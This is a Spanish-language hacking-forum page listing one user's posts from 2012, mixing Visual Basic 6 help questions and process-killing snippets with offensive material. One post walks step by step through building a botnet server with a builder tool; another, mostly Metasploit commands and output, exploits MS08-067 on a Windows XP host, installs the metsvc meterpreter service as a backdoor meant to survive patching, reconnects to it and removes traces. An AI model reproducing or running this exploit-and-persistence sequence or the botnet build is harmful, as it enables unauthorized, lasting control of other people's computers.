Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Pekador

#21
Dudas y pedidos generales / Re:Error vb6
Junio 09, 2012, 11:43:10 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Estoy de viaje ahora mismo hacia leon y no tendre pc hasta el lunes pero creo que el error es mas que visible.
El "modulo" de musica no es un modulo sino una api xd , asi que quitalo del modulo y metelo en el form principal debajo del option explicit y ahora prueba xd.
No me hagas mucho caso ya que no lo veo muy bien desde el coche pero a primera vista creo que es ese el error.

No puedes poner una api como modulo y no indicar las funciones de iresult porque en el form hay que llamar a la funcion del modulo etc...
Asi que hazme caso y pon eso debajo del option explicit y cuentame

Ok, pero antes ponia el modulo la api como modulo i la musica se escuchava.

Probe a ponerlo debajo del option como dijistes i me sale esto , no se si es aqui donde decías pero te dejo panta xD



#22
Dudas y pedidos generales / [SOLUCIONADO] Error vb6
Junio 09, 2012, 10:26:52 AM
Bueno, creando una tool me dio este error, basicamentes si pongo musica , al darle al boton no va a el link k kiero,
i si le doi que al darle funcione, no va la musica

aqui os dejo los codigos i los errores:

declaración de abrir url
Código: text
Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_NORMAL = 1



codigo boton:
Código: text
Dim X
X = ShellExecute(Me.hwnd, "Open", "http://www.url.com", &O0, &O0, SW_NORMAL)


----------------------------------------------------------------------------------------------------------------------------------------------

Modulo musica: Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Para reproducirlo: iRESULT = mciExecute("Play C:\Chiquita.mp3")

Para detener la reproducción: iRESULT = mciExecute("stop C:\Chiquita.mp3")


Pantallazo error:

#23
killer proces 3 ejemplos publicos

Código: text
Public Sub KillProcess(ByVal processName As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices

servicename = LCase(Trim(CStr(oService.Name) & ""))

If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If

Next

Set oServices = Nothing
Set oWMI = Nothing

ErrHandler:
Err.Clear
End Sub



Código: text
Código:

Declare Function KILL_PROC_BY_NAME Lib "killproc" (ByVal FileName As String) As Long

Luego en alguna parte de tu programa, si queres, por ejemplo, terminar todos los internet explorers pode hacer:
Código:

KILL_PROC_BY_NAME "iexplore.exe"

o si queres ver si ocurrió algún error:
Código:

nError = KILL_PROC_BY_NAME("winrar.exe")

If n



Código: text

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Long, ByVal lpWindowName As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function LockWindowUpdate Lib "user32" (ByVal hwndLock As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function Putfocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Const GW_HWNDNEXT = 2
Dim mWnd As Long
Function InstanceToWnd(ByVal target_pid As Long) As Long
    Dim test_hwnd As Long, test_pid As Long, test_thread_id As Long
    'Find the first window
    test_hwnd = FindWindow(ByVal 0&, ByVal 0&)
    Do While test_hwnd <> 0
        'Check if the window isn't a child
        If GetParent(test_hwnd) = 0 Then
            'Get the window's thread
            test_thread_id = GetWindowThreadProcessId(test_hwnd, test_pid)
            If test_pid = target_pid Then
                InstanceToWnd = test_hwnd
                Exit Do
            End If
        End If
        'retrieve the next window
        test_hwnd = GetWindow(test_hwnd, GW_HWNDNEXT)
    Loop
End Function
Private Sub Form_Load()
    'KPD-Team 1999
    'URL: [url=http://www.allapi.net/]http://www.allapi.net/[/url]
    'E-Mail: [email protected]
    Dim Pid As Long
    'Lock the window update
    LockWindowUpdate GetDesktopWindow
    'Execute notepad.Exe
    Pid = Shell("c:\windows\notepad.exe", vbNormalFocus)
    If Pid = 0 Then MsgBox "Error starting the app"
    'retrieve the handle of the window
    mWnd = InstanceToWnd(Pid)
    'Set the notepad's parent
    SetParent mWnd, Me.hwnd
    'Put the focus on notepad
    Putfocus mWnd
    'Unlock windowupdate
    LockWindowUpdate False
End Sub
Private Sub Form_Unload(Cancel As Integer)
    'Unload notepad
    DestroyWindow mWnd
    'End this program
    TerminateProcess GetCurrentProcess, 0
End Sub
#24

Bueno aqui sigo el tutorial ya que no tenia el VN builder en ese momento..

Una vez hallamos echo la botnet, ejecutamos el VNBuilder (viene dentro de la descarga), nos saldra esto:



Pues aceptamos, clicando la casilla



Ahora vamos a la siguiente pestaña, nos saldra esto


Ok, en metemos nuestra web.

I en nuestro apartado, si seguistes mi tutorial sera /botnet/

Ahora vamos a la ultima pestaña i nos saldra esto



En esta linea escrivimos el nombre del server i podemos elejir el formato, exe dll etc


Ahora le damos a builder i ya estara, nuestro server listo

Descarga los archivos:

ZIP: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

RAR: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Pass: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#25
Visual Basic / Agregar skin
Mayo 18, 2012, 03:45:30 AM

#26
Bueno pues eso si alguien me pudiera dejar el link de la botnet, me ayudaria  ;D
#27
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
a que te refieres con pack completo???

kieres el disco de instalacion???

Si eso es, perdon por no haver expecificado xD
#28
Bueno, recien formate el pc

I necesito el pack completo de windows vista, para ponerselo a la virtual

Gracias  ;D
#29
Lo primero es que necesitamos una sesión de meterpreter en el sistema remoto.

Código: text
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 489 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8074 updated today (2010.01.05)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1
LHOST => 172.16.83.1
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 3
- lang:English[*] Selected Target: Windows XP SP3 English (NX)[*]
Triggering the vulnerability...[*] Sending stage (723456 bytes)[*]
Meterpreter session 3 opened (172.16.83.1:54745 ->
172.16.83.128:4444)

meterpreter >


Una vez conseguida, ejecutamos metsrv, que instalará como servicio un servidor de meterpreter en el host remoto.

Código: text
meterpreter > run metsvc[*] Creating a meterpreter service on port
31337[*] Creating a temporary installation directory
C:\WINDOWS\TEMP\HdOFwlxzpobWuh...[*] >> Uploading metsrv.dll...[*]
>> Uploading metsvc-server.exe...[*] >> Uploading
metsvc.exe...[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.


Ahora, si queremos, podemos reiniciar el sistema remoto, aunque el servicio ya está corriendo.

Código: text
meterpreter > reboot
Rebooting...
meterpreter >


Ahora, cuando se reinicie el host remoto, vamos a conectarnos al servicio de meterpreter que acabamos de instalar.

Para ello, usaremos el handler para que nos porte el exploit windows/metsvc_bind_tcp, lo configuraremos y nos conectaremos, como haré yo.

Código: text
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/metsvc_bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST no The target address


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(handler) > exploit

[*] Starting the payload handler...[*] Started bind handler[*]
Meterpreter session 1 opened (172.16.83.1:42050 ->
172.16.83.128:31337)

meterpreter >


Y ya está! Esto nos viene bien por si el host remoto aplica un parche que corrija sus vulnerabilidades.
Aunque parchee el sistema, nosotros tendremos acceso a su sistema a través de ese backdoor.

Y si queremos desinstar el metsvc en el host remoto para no dejar rastro, tan sólo tenemos que ejecutar metsvc -r en nuestra sesión de meterpreter.

Código: text
meterpreter > run metsvc -r[*] Removing the existing Meterpreter
service[*] Creating a temporary installation directory
C:\WINDOWS\TEMP\QQqawIYOjLq...[*] >> Uploading metsvc.exe...[*]
Stopping the service...
* Stopping service metsvc
* Removing service
Service metsvc successfully removed.

meterpreter >


Y quedará metsvc completamente desinstalado sin perder la sesión que estamos utilizando (Por si cambiamos de idea xD)

Y bueno ahora ya está todo ;) Muy sencillo, muy fácil y sobre todo, explicado de una manera sencilla para todos.

Autor del post: Joker
#30
Antes de nada, el video no es mio es cojido de otro sitio, pero el contenido es el mismo.